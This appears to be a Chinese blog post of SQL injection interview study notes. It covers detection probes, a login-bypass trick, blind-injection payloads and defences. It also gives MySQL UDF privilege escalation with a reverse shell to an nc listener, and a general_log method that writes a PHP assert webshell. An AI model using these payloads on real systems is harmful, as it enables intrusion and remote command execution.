SQL注入學習自測

以下是我在學習整理面試題時所遇到的問題,方便自己鞏固sql注入的學習。

1、sql注入的原理

  sql注入就是指web應用程序對用戶輸入數據的合法性沒有判斷,前端傳入後端的參數是攻擊者可控的,並且參數帶入數據庫查詢,攻擊者可以通過構造不同的sql語句來實現對數據庫的任意操作。

2、sql注入的判斷方式會幾種(如何判斷有sql注入)

  • 單引號法

如果頁面返回錯誤,則存在sql注入,因爲無論是字符型還是數字型都會因爲單引號個數不匹配而報錯。

  • 輸入表達式判斷

如?id=8,可嘗試輸入id=2*4,或者id=8-0。

  • 測試邏輯語句

以邏輯真和邏輯假共同測試。如下:

id=8' and 1=1
id=8' and '1'='1
id=8' and 1=2
id=7' and '1'='2
//如果是字符型,去掉id=8'後面的單引號。
  • 測試延時語句

id=8 and sleep(5)--

若成功則延時返回,則說明存在sql注入。若沒有延時,則不存在sql注入。

3、sql注入轉譯了單引號,怎麼辦?

如果是get型,則嘗試寬字節繞過。

如果是post型,比如登錄框處,可嘗試構造sql語句進行繞過。

username這樣輸入:1\,
password這樣輸入:or 1=1;# 
sql語句變成這樣select * from user_table where username='1\' and password='or 1=1;#'; 
在這裏,username中輸入的\轉義了它後面的單引號,因此sql語句實際上變成 username的值等於這樣一個字符串: 1' and password=,後面我再接or 1=1;#就生效了。

4、如何防禦sql注入

嚴格檢查輸入變量的類型和格式

過濾和轉義特殊字符

mysql的pdo預編譯機制

5、mysql是普通用戶時怎麼提權,root用戶時寫shell的條件?

udf提權:

前提:
(1)目標主機是Windows
(2)有insert delete權限
(3)secure_file_priv="" 參數無配置
(4)mysql版本>5.1要將udf.dll導入plugin_dir目錄下,可用show variables like '%plugin%'查看,小於5.1要導入到c:\\windows下
(5)絕對路徑

利用步驟:
(1)連接數據庫成功後將dll文件導入到plugin_dir目錄下
(2)輸入sql命令,create function cmdshell return soname "udf2.dll"
(3)再執行命令cmdshell('whoami'),發現已經是system權限了
(4)反彈shell,創建函數命令如下:create function backshell returns string soname 'udf2.dll'
    select backshell("ip",port),服務器端nc監聽即可

root用戶寫shell的條件:

  • 對web目錄有寫權限

  • GPC關閉(能使用單引號)

  • 有絕對路徑(讀文件可以不用,寫文件必須)

  • 沒有配置 –secure-file-priv

6、sql注入碰到update型和insert型,你會選擇哪種?

insert型,避免對原數據作出修改。

7、什麼是二次注入?

比如現在有兩個鏈接:

http://www.a.com/1.php?username=test

http://www.a.com/2.php?id=10

其中1.php頁面的功能是註冊用戶名,也是插入sql語句的地方。

2.php頁面的功能是通過參數id讀取用戶名和用戶信息。

第一步訪問1.php?username=test',返回錯誤,test',同時也返回了對應的id=21.

第二部訪問2.php?id=21。結果返回test'的信息。

然後又回到第一步構造新語句,1.php?username=test' order by 1#,得到一個新的id=31。

接着重複第二步訪問新的id,     2.php?id=31,返回錯誤(unknown column ‘10’ in 'order clause'),

一直重複該步驟。當訪問2.php?id=xxx時,頁面返回空白,那就是正常,便可以判斷數有幾列,接下來就同理了。

8、繞waf講一講?

小菜一枚,暫時沒研究繞waf。

9、sql注入拿shell的方式?

條件:絕對路徑,寫權限,secure_file_priv無配置,gpc關閉。

方式:

(1)執行系統命令進行反彈shell;

(2)讀配置文件嘗試遠程連接;

(3)寫一句話木馬。

(4)設置general_log和general_log_file,寫入包含sql日誌文件拿shell,設置了 general_log 和 general_log_file 之後所有SQL記錄都會寫入指定的文件,所以會導致 log 文件非常大,推薦只暫時打開

利用姿勢:

set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';

10、mysql提權有哪幾種?

udf提權;MOF提權

11、sqlmap -u參數是利用http的get 還是 post

get

12、怎麼判斷一個注入點是數字型還是字符型?布爾型呢?

不用多說,布爾型應該是存在一些當頁面沒有具體內容返回的時候,具體場景還請大神賜教。

13、盲注怎麼實現?

盲注包括時間盲注、布爾盲注。比如給一個url:www.a.com/?id=1。輸入單引號後報錯,可以這樣:?id=1' and if(substr(database(),1,1)='m',sleep(5),1) ,如果數據庫的名字的第一位是m,則延時5秒才返回結果,然後依次類推出完整的數據庫名、表名、列名和具體數據就ok,反之則直接返回結果。

而布爾盲注是根據返回結果是否爲1或者0,即真還是假,如果成功,返回1,失敗則返回0。同理推出其他數據。

14、sql注入攻擊流量的特點?

個人認爲應該是日誌中會存在大量url請求鏈接相同的情況,知識在個別參數中會存在and、union、各種符號等其他非法參數。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章